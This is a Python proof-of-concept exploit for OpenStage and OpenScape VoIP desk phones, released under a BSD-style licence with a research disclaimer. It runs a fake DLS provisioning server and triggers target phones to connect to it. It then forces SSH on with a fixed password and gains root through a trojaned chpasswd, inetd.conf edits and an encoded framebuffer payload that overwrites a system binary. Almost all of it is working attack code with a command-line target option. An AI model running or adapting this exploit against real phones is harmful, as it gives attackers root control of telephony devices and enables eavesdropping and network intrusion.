openstage-fakedls-server.py

#!/usr/bin/env python3
#
# -----------------------------------------------------------------------------
# Copyright (c) 2023 Michael Oelke, Martin Schobert, Pentagrid AG
#
# All rights reserved.
#
#  Redistribution and use in source and binary forms, with or without
#  modification, are permitted provided that the following conditions are met:
#
# 1. Redistributions of source code must retain the above copyright notice, this
#    list of conditions and the following disclaimer.
# 2. Redistributions in binary form must reproduce the above copyright notice,
#    this list of conditions and the following disclaimer in the documentation
#    and/or other materials provided with the distribution.
#
#  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
#  ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
#  WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
#  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
#  ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
#  (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
#  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
#  ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
#  (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
#  SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#
#  The views and conclusions contained in the software and documentation are those
#  of the authors and should not be interpreted as representing official policies,
#  either expressed or implied, of the project.
#
#  NON-MILITARY-USAGE CLAUSE
#  Redistribution and use in source and binary form for military use and
#  military research is not permitted. Infringement of these clauses may
#  result in publishing the source code of the utilizing applications and
#  libraries to the public. As this software is developed, tested and
#  reviewed by *international* volunteers, this clause shall not be refused
#  due to the matter of *national* security concerns.
#
# -----------------------------------------------------------------------------

DISCLAIMER = """
The author of this code is not responsible for any damage caused by the
use or misuse of this PoC exploit. This PoCs is intended for educational
and research purposes only, and should never be used to target or exploit
systems without explicit permission from the owner.
"""

import requests
import socket
import argparse
import paramiko
import base64

from paramiko.client import SSHClient
from twisted.internet import ssl
from twisted.web import server, resource
from twisted.internet import reactor


PASSWORD = '123456'     # Standard password we will use
WPI_DEFAULT_PORT = 8085 # The phone's WPI port
OWN_PORT = 9999         # The attacker's DLS port
SSH_USER = "admin"      # default SSH user
SSH_PORT = 22           # Default SSH port

phone_state = {}        # a global variable to store the state of phones

class fg:
  black = "\u001b[30m"
  red = "\u001b[31m"
  green = "\u001b[32m"
  yellow = "\u001b[33m"
  blue = "\u001b[34m"
  magenta = "\u001b[35m"
  cyan = "\u001b[36m"
  white = "\u001b[37m"
  reset = "\u001b[0m"

class DLSPwner:

    def __init__(self, target_ip, product=None, version=None):
        """
        Create a new DLSPwner. It implements logic to communicate with phones and it keeps the phone's state.

        :param target_ip: The phone to pwn.
        :param product: Product name, such as "OpenStage 80".
        :param version: The firmware version.
        """
        self.target_ip = target_ip
        self.product = product
        self.version = version

        self.ssh_client = None

        # internal states
        self.rooting_prepared = False
        self.change_pw_again = False
        self.needs_restart = False
        self.is_rooted = False

    def set_device_info(self, product, version):
      self.product = product
      self.version = version

    def _ssh(self, user="admin", password=PASSWORD):
        """
        Connect to a target phone via SSH.
        :param user: Connect as this user.
        :param password: Password to use.
        :return: True or False
        """

        if self.ssh_client:
            self.ssh_client.close()

        self.ssh_client = SSHClient()
        self.ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

        try:
            self.ssh_client.connect(self.target_ip, port=SSH_PORT, username=user, password=password, look_for_keys=False, timeout=10)
            print(f"+ SSH connected to {user}@{self.target_ip} with password \"{password}\".")
            return True
        except Exception as e:
            print(f"+ Failed to establish SSH connection to {user}@{self.target_ip}: " + str(e))
            self.ssh_client.close()
            self.ssh_client = None
            return False

    def send_contact_me(self, fake_dls_ip, fake_dls_port):
        """
        Contact the phone's DLS service at DLS_DEFAULT_PORT and send
        a HTTP GET request to trigger the phone to contact the fake DLS
        service.

        :param fake_dls_ip: Our fake DLS service's IP address.
        :param fake_dls_port: Our fake DLS service's port.
        :return: True on success, else False.
        """

        print(f"+ Test if DLS interface TCP port at {self.target_ip}:{WPI_DEFAULT_PORT} is open.")
        if not is_port_open(self.target_ip, WPI_DEFAULT_PORT):
            print(f"+ DLS interface is not open. Stopping here.")
            return False

        # alternatively you can use https://IP/contact...  (using the 443 Port)
        try:
            print(f"+ Send 'Contact me' to target {self.target_ip}:{WPI_DEFAULT_PORT}.")
            url = f"http://{self.target_ip}:{WPI_DEFAULT_PORT}/contact_dls.html/ContactDLS?ContactMe=true&dls_ip_addr={fake_dls_ip}&dls_ip_port={fake_dls_port}"
            response = requests.get(url, verify=False)
            if response.status_code == 204:
                print(f"+ Sending 'Contact me' to target {self.target_ip}:{WPI_DEFAULT_PORT} was successful.")
                return True
            else:
                print(f"+ Unexpected HTTP response code: {response.status_code}")

        except Exception as e:
            print("+ Failed to send HTTP get request to target:" + str(e))

        return False

    def check_root_ssh(self):
        """
        Check if it is possible to login as root.
        :return: True or False
        """
        if self._ssh("root", PASSWORD):
            self.is_rooted = True
        else:
            self.is_rooted = False

        return self.is_rooted

    def check_ssh_available(self):
        """
        Check if the SSH port is reachable at all.
        :return: True or False
        """
        return is_port_open(self.target_ip, SSH_PORT)

    def elevate_to_root(self):
        """
        Call a rooting method depending on device (and later maybe firmware version.
        """
        if self._ssh("admin", PASSWORD):
            print(f"+ Trying to root a target of type {self.product}.")

            if self.product == "OpenStage 40":
                self.root_openstage()
                self.rooting_prepared = True
            elif self.product == "OpenStage 80":
                self.root_openstage()
                self.rooting_prepared = True
            elif self.product == "OpenScape Desk Phone CP210":
                self.root_openscape_cp210()
                self.rooting_prepared = True
                self.needs_restart = True
            elif self.product == "OpenScape Desk Phone CP400":
                self.root_openscape_cp400()
                self.rooting_prepared = True
                self.needs_restart = True
            elif self.product == "OpenScape Desk Phone CP710":
                self.root_openstage_place_chpasswd_to_path(trojan_chpasswd='/usr/bin/chpasswd')
                self.rooting_prepared = True
            else:
                print("+ Unknown device, which cannot be rooted.")

    def root_openscape_cp400(self):
        """
        Generate a screen-specific buffer that will be written into the framebuffer and
        call the generic OpenScape rooter.
        Works for: OpenScape Desk Phone CP400 "V1 R10.2.2"
        """
        bufferpayload = """
            H4sIAFoVtVsAA+Pi0s/Iz03VT0zJzczTz60sTi7KLCjh4lIYPGAwuQUVDF6XkQcGiX8GiTNGAU3B
            aCwPVjAaM5SC0RAkA4wGGg4wiANmUDUU0cAgdtrgBaOBRjTgomvip8QuLmUiFWpyAQB3tC5rEA4A
            AA=="""
        self.root_openscape(bufferpayload, compressed=True)

    def root_openscape_cp210(self):
        """
        Generate a screen-specific buffer that will be written into the framebuffer and
        call the generic OpenScape rooter.
        Works for: OpenScape Desk Phone CP210 "V2 R0.11.0"
        """
        bufferpayload = "\n/home/admin/myscript\n\n#" + "A"*951 + ")\n\n"
        self.root_openscape(bufferpayload)

    def root_openscape(self, bufferpayload, compressed=False):
        """
        Manipulate the framebuffer, so a screenshot results in an executable file.
        Overwrite a system file with that screenshot tool.
        Add a script to that gets executed with root privilege while booting.

        """
        #myscript = "#!/bin/sh\n/Opera_Deploy/setPasswd.sh root 123456\n/usr/sbin/dropbear"
        #self.ssh_client.exec_command("echo '" + myscript + "' > /home/admin/myscript")
        #self.ssh_client.exec_command("chmod +x /home/admin/myscript")

        #self.ssh_client.exec_command("echo '" + bufferpayload + "' > /home/admin/payload")
        #self.ssh_client.exec_command("cp /sbin/fw_printenv  /home/admin/fw_printenv")
        #self.ssh_client.exec_command("cat /home/admin/payload > /dev/fb0; /Opera_Deploy/appWeb/web/fbshot.exe /sbin/fw_printenv")

        myscript = """#!/bin/sh
set +e
date > /home/admin/stamp 2>&1
id >> /home/admin/stamp 2>&1
/Opera_Deploy/setPasswd.sh root 123456 >> /home/admin/stamp 2>&1
/usr/bin/killall dropbear >> /home/admin/stamp 2>&1
/usr/sbin/dropbear >> /home/admin/stamp 2>&1 
"""
        self.ssh_client.exec_command("rm -f /home/admin/stamp")
        self.ssh_client.exec_command("echo '" + myscript + "' > /home/admin/myscript")
        self.ssh_client.exec_command("chmod +x /home/admin/myscript")

        if compressed:
            self.ssh_client.exec_command("echo '" + bufferpayload + "' | base64 -d | gzip -d > /home/admin/payload")
        else:
            self.ssh_client.exec_command("echo '" + bufferpayload + "' > /home/admin/payload")


        mychain = """#!/bin/sh
cat payload > /dev/fb0
/Opera_Deploy/appWeb/web/fbshot.exe /sbin/fw_printenv
"""
        self.ssh_client.exec_command("echo '" + mychain + "' > /home/admin/mychain")
        self.ssh_client.exec_command("chmod +x /home/admin/mychain")
        self.ssh_client.exec_command("/home/admin/mychain")


    def root_openstage_alter_inetd(self):
        """
        Add a script to the inetd file that gets executed with root privilege while booting.
        Works for: OpenStage 40 "V3 R5.21.0" and OpenStage 80 "V3 R3.24.0"
        """
        myscript = "#!/bin/sh\n/Opera_Deploy/setPasswd.sh root 123456\n/usr/sbin/dropbear"

        self.ssh_client.exec_command("echo '"+myscript+"' > /usr/local/bin/test")
        self.ssh_client.exec_command("chmod +x /usr/local/bin/test")

        inetd_line = "test	stream  tcp	nowait	root	/usr/local/bin/test	test"
        self.ssh_client.exec_command("echo '"+inetd_line+"' >> /etc/inetd.conf")


    def root_openstage_place_chpasswd_to_path(self, trojan_chpasswd='/usr/local/bin/chpasswd'):
        """
        Files and directory below /usr/local (and many other) belong to the user admin.
        Furthermore, the PATH variable prefers /usr/local/bin over other directories.
        Thus, we just place an own chpasswd tool there and do some password setting
        to trigger our script with root privileges. We know the root password, but can't
        su/login directly due to missing permissions on login program.
        For debugging, we also write a marker to /tmp.
        """
        myscript = "#!/bin/sh\ndate > /tmp/foo\nkillall dropbear;/usr/sbin/dropbear\n/usr/sbin/chpasswd -m << EOF\nadmin:123456\nroot:123456\nEOF"
        self.ssh_client.exec_command("echo '"+myscript+"' > " + trojan_chpasswd)
        self.ssh_client.exec_command("chmod +x " + trojan_chpasswd)

        self.change_pw_again = True

    def root_openstage(self):
        #self.root_openstage_alter_inetd()
        self.root_openstage_place_chpasswd_to_path()


class FakeDLS(resource.Resource):
    """
    Service class to implement a DLS server, at least for the functions we need.
    """
    isLeaf = True

    # Standard return message.
    DLS_cleanup = '<DLSMessage><Message nonce="{}"><Action>Cleanup</Action></Message></DLSMessage>'

    # Task the phone to restart.
    DLS_restart = '<DLSMessage><Message nonce="{}"><Action>Restart</Action></Message></DLSMessage>'

    # Task the phone to enable SSH and to set a root password.
    DLS_enable_ssh = """
        <DLSMessage>
            <Message nonce="{}"><Action>WriteItems</Action></Message>
            <ItemList>
                <Item name="ssh-enable">true</Item>
                <Item name="ssh-password">123456</Item>
                <Item name="ssh-timer-connect">10</Item>
                <Item name="ssh-timer-session">20</Item>
            </ItemList>
        </DLSMessage>"""

    
    def __init__(self, dls_ip, dls_port):
        super(FakeDLS, self).__init__()
        self.dls_ip = dls_ip
        self.dls_port = dls_port

    def render_POST(self, request):
        target_ip = request.getClientAddress().host
        print(f"\n+ Target phone {target_ip} connected back to our fake DLS server via POST to {request.uri.decode()}.")
        nonce, device, version = self._parse_workpoint_msg(request.content.getvalue().decode())
        if not nonce:
            return

        # Create and remember DLSPwner for target phone.
        if target_ip not in phone_state:
            pwner = DLSPwner(target_ip, device, version)
            phone_state[target_ip] = pwner
        else:
            pwner = phone_state[target_ip]
            pwner.set_device_info(device, version)


        print(f"+ Check if SSH port {target_ip}:{SSH_PORT} is available.")
        ssh_active = pwner.check_ssh_available()

        if pwner.is_rooted:
            print(f"+ Phone {target_ip} is already/now rooted. There is nothing really to do.")
            reactor.callFromThread(reactor.stop)
            return FakeDLS.DLS_cleanup.format(nonce).encode('utf-8')

        if pwner.change_pw_again:
            print(f"+ Phone {target_ip}: Reenable SSH and change password again.")
            reactor.callLater(5, pwner.send_contact_me, self.dls_ip, self.dls_port)
            pwner.change_pw_again = False
            return FakeDLS.DLS_enable_ssh.format(nonce).encode('utf-8')

        if pwner.needs_restart:
            print(f"+ Phone {target_ip} is tasked to restart.")
            reactor.callLater(150, pwner.send_contact_me, self.dls_ip, self.dls_port)
            pwner.needs_restart = False
            return FakeDLS.DLS_restart.format(nonce).encode('utf-8')

        # standard handling is here
          
        if not ssh_active:
            print(f"+ Phone {target_ip} has no SSH enabled. Enabling it and setting password and ask target to contact our fake DLS server again.")
            reactor.callLater(5, pwner.send_contact_me, self.dls_ip, self.dls_port)
            return FakeDLS.DLS_enable_ssh.format(nonce).encode('utf-8')

        else:

            if not pwner.check_root_ssh():
                print(f"+ Phone {target_ip} has SSH enabled, but is not rooted, yet. Trying to root it.")

                if not pwner.rooting_prepared:
                    pwner.elevate_to_root()
                    print(f"+ Phone {target_ip} was prepared for rooting.")
                    #reactor.callLater(5, pwner.send_contact_me, self.dls_ip, self.dls_port)
                else:
                    print(f"+ Phone {target_ip} is already prepared. We stop here.")
                    reactor.callFromThread(reactor.stop)


        reactor.callLater(5, pwner.send_contact_me, self.dls_ip, self.dls_port)
        return FakeDLS.DLS_cleanup.format(nonce).encode('utf-8')

    @staticmethod
    def _parse_workpoint_msg(xml):
        nonce = None
        device = None
        version = None

        #print(xml)

        try:
            nonce = xml.split('nonce="', 1)[1][0:32]
            device = xml.split('device-type">', 1)[1].split('</Item>')[0]
            version = xml.split('software-version">', 1)[1].split('</Item>')[0]
        except Exception as e:
            pass

        return nonce, device, version


def is_port_open(ip, port):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(0.3)
    result = sock.connect_ex((ip, port))
    sock.close()
    return result == 0

def create_fake_dls_server(dls_ip, dls_port, keyfile, certfile):
    print(f"+ Set up fake DLS server at port {dls_port}")
    factory = server.Site(FakeDLS(dls_ip, dls_port))
    _ssl = ssl.DefaultOpenSSLContextFactory(keyfile, certfile)
    _ssl.getContext().set_cipher_list(b'ALL:@SECLEVEL=0')
    reactor.listenSSL(dls_port, factory, _ssl)
    #reactor.listenTCP(dls_port, factory)



def main():
    parser = argparse.ArgumentParser(prog="openstage-exploit",
                                     description='Proof of concept exploit for OpenScape/OpenStage VoIP phones.',
                                     epilog=DISCLAIMER)

    parser.add_argument('--own-ip', metavar='IPADDR', type=str, help='IP address of fake DLS server.', required=True)
    parser.add_argument('--own-port', metavar='PORT', type=int, help=f'Port number of fake DLS server. (default: {OWN_PORT})', default=OWN_PORT)
    parser.add_argument('--target-ip', metavar='IPADDR', type=str, help='IP address of target phone.', required=True)

    args = parser.parse_args()

    print(fg.yellow + DISCLAIMER + fg.reset)
    create_fake_dls_server(args.own_ip, args.own_port, 'fake_dls_server.key', 'fake_dls_server.crt')

    print(f"+ Attacking target {args.target_ip} using {args.own_ip}:{args.own_port} as fake DLS server.")
    pwner = DLSPwner(args.target_ip)
    phone_state[args.target_ip] = pwner

    # task phone to contact our DLS server
    reactor.callLater(0, pwner.send_contact_me, args.own_ip, args.own_port)
    reactor.run()


if __name__ == '__main__':
    main()